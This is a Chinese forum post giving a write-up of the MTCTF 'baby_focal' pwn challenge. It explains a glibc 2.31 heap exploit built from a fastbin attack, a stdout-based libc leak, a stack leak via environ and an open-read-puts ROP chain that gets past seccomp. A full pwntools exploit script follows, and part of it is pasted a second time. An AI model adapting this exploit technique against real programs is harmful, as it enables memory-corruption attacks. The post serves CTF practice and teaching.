首页
社区
课程
招聘
[原创] MTCTF baby_focal PWN writeup
发表于: 2021-5-25 03:01 11494

[原创] MTCTF baby_focal PWN writeup

2021-5-25 03:01
11494

一道glibc2.31的堆题,但漏洞利用过程与新特性没什么关系

开启了seccomp,禁用了execve,也就是我们要用orw来读flag

image-20210525022234857

image-20210525022503727

为了方便调试,我们把两个sleep也nop掉

image-20210525022545627

image-20210525022700431

image-20210525022840624

image-20210525023105931

image-20210525023155634

没有show函数,这就意味着我们要通过打 _IO_2_1_stdout 来泄露libc

好消息是题目没有开启pie

image-20210525023327957

由于可以越界写16字节,我们可以劫持FD字段,所以想到可以打tcache attack,但这里用的是calloc函数,所以我们选择 fastbin attack

所以先填满对应大小的tcache,再free就可以进入fastbin里面

然后就是FD劫持的位置,由于没有开pie,很自然就能想到可以劫持bss段上的堆指针数组和size数组,到了这一步我们就相当于拥有的任意地址写,接下来就是泄露、

通过修改bss上的数据,我们可以伪造一个unsorted bin 大小的chunk,把这个chunk给free掉,它的fd就会带上一个libc的地址,然后我们通过局部覆盖爆破出 _IO_2_1_stdout(十六分之一的概率) ,从而泄露出libc基地址

拿到libc之后问题在于往哪里写orw的ROP链,这里我选择的是往栈上写

所以首先要泄露出栈地址,我采取的手段是:

把 free_hook 改成 puts的plt地址,然后在堆块里写上 environ 的地址,这样当我们free掉这个堆块的时候,就会泄露出 environ 的值,即栈的地址

最后算一下edit函数的返回地址的偏移,在edit的时候把rop链写到栈上,最后ret的时候就会执行我们的rop链,从而把flag打印出来

值得一提的是,程序里有flag这个字符串,这样我们就不用自己写,直接把这个地址传进RDI就行,还有就是调用 open 的时候,记得把RSI清0,即第二个参数为0

image-20210525025911780

 
 
 
 
 
 
from pwn import *
context.binary = "./baby_focal"
#context.log_level = "debug"
libc = context.binary.libc
def debug():
    gdb.attach(sh)
    pause()
 
def add(index,size):
    sh.sendlineafter(">> ","1")
    sh.sendlineafter(">> ",str(index))
    sh.sendlineafter(">> ",str(size))
 
def free(index):
    sh.sendlineafter(">> ","3")
    sh.sendlineafter(">> ",str(index))
 
def edit(index,data):
    sh.sendlineafter(">> ","2")
    sh.sendlineafter(">> ",str(index))
    sh.sendafter("content >> ",data)
 
 
while 1:
    try:
        sh = process("./baby_focal")
        sh.sendlineafter("name: ","77pray")
        for i in range(7):
            add(0,0x70)
            free(0)
        add(0,0x78)
        add(1,0x70)
        free(1)
        payload1 = b'a'*0x70 + p64(0x0) + p64(0x81) + p64(0x404060)
        edit(0,payload1)
        add(1,0x70)
        add(1,0x70)
        payload2 = p64(0x404060) + p64(0x1000) + p64(0x0) + p64(0x421) + p64(0x404080) + p64(0x421)+ b'\x0a'
        edit(1,payload2)
        payload2 = p64(0) * 2 + p64(0x404060) + p64(0x421) + p64(0x0) + p64(0x421) + p64(0x404080) + p64(0x421)+ b'\x11'*0x3f0 + p64(0x0) + p64(0x21) + p64(0)*3 + p64(0x21) + b'\x0a'
        edit(1,payload2)
        free(3)
        payload3 = p64(0x404088) + p64(0x421) + p64(0) * 2 + b'\x60\x97\x0a'
        edit(1,payload3)
        edit(0,p64(0x40)+b'\x0a')
        payload4 = flat(0xfbad1800, 0, 0, 0) + b'\x50\x0a'
        edit(2,payload4)
        stdin_addr = u64(sh.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8, b'\x00'))
        libc_base = stdin_addr - libc.sym['_IO_file_jumps']
        free_hook = libc_base + libc.sym['__free_hook']
        stack = libc_base + libc.sym['environ']
        puts_plt = 0x401134
        #print(hex(libc_base))
        edit(0,flat(0x40,free_hook,0x20 , stack-0x10 , 0x20 )+b'\x0a')
        edit(3,p64(puts_plt) + b'\x0a')
        edit(4,flat(0,0x61)+b'\x0a')
        edit(0,flat(0x40,free_hook,0x20 , stack , 0x20 )+b'\x0a')
        #debug()
        sh.sendlineafter(">> ","3")
        sh.sendlineafter(">> ",str(4))
        stack_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 304
        #print(hex(stack_addr))
        edit(0,flat(0x40, stack_addr , 0x400) + b'\x0a')
 
        pop_rdi_ret = libc_base + 0x2155f
        pop_rsi_ret = libc_base + 0x23e6a
        pop_rdx_ret = libc_base + 0x1b96
        pop_rax_ret = libc_base + 0x439c8
        flag_str_addr = 0x402068
        syscall = libc_base + 0x13C0
        bss_addr = 0x4040b0
        open_chain = p64(pop_rdi_ret) + p64(flag_str_addr)  + p64(pop_rsi_ret) + p64(0) + p64(libc.sym["open"] + libc_base)
        read_chain = p64(pop_rdi_ret) + p64(3)
        read_chain += p64(pop_rsi_ret) + p64(bss_addr)
        read_chain += p64(pop_rdx_ret) + p64(0x40) + p64(libc.sym["read"] + libc_base) # read
        puts_chain = p64(pop_rdi_ret) + p64(bss_addr)
        puts_chain += p64(libc.sym["puts"] + libc_base) # puts
        orw_chain = open_chain + read_chain + puts_chain
        edit(3,orw_chain+b'\x0a')
        sh.interactive()
        break
        #debug()
    except Exception as e:
        sh.close()
        pass
from pwn import *
context.binary = "./baby_focal"
#context.log_level = "debug"
libc = context.binary.libc
def debug():
    gdb.attach(sh)
    pause()
 
def add(index,size):
    sh.sendlineafter(">> ","1")
    sh.sendlineafter(">> ",str(index))
    sh.sendlineafter(">> ",str(size))
 
def free(index):
    sh.sendlineafter(">> ","3")
    sh.sendlineafter(">> ",str(index))
 
def edit(index,data):
    sh.sendlineafter(">> ","2")
    sh.sendlineafter(">> ",str(index))
    sh.sendafter("content >> ",data)
 
 
while 1:
    try:
        sh = process("./baby_focal")
        sh.sendlineafter("name: ","77pray")
        for i in range(7):
            add(0,0x70)
            free(0)
        add(0,0x78)
        add(1,0x70)
        free(1)
        payload1 = b'a'*0x70 + p64(0x0) + p64(0x81) + p64(0x404060)
        edit(0,payload1)
        add(1,0x70)
        add(1,0x70)
        payload2 = p64(0x404060) + p64(0x1000) + p64(0x0) + p64(0x421) + p64(0x404080) + p64(0x421)+ b'\x0a'

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//